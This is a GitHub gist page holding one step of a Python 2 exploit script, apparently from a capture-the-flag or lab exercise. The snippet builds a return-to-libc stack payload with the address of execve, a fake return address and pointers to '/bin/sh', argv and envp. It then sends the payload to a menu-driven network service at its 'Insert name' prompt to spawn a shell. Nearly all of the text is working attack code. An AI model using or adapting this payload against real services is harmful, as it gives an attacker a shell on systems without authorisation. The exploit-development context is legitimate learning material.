Skip to content

Instantly share code, notes, and snippets.

@vanhoefm
Created April 3, 2013 22:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vanhoefm/5305902 to your computer and use it in GitHub Desktop.
Save vanhoefm/5305902 to your computer and use it in GitHub Desktop.
# Step 2 --- Payload: place the constructed stack which we will execute subsequently
PAYLOAD = dword_to_bitstring(addrexecve) # address of execve
PAYLOAD += "AAAA" # fake return addr
PAYLOAD += dword_to_bitstring(location_payload + 20) # ptr to /bin/sh
PAYLOAD += dword_to_bitstring(location_payload + 28) # ptr to argv
PAYLOAD += dword_to_bitstring(location_payload + 28) # ptr to envp
PAYLOAD += "/bin/sh"
nc.read_until("Your choice: ")
nc.write("1" + "\n")
nc.read_until("Insert name: ")
nc.write(PAYLOAD + "\n")
print "[+] Payload has been stored :", repr(PAYLOAD), "of length", len(PAYLOAD)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment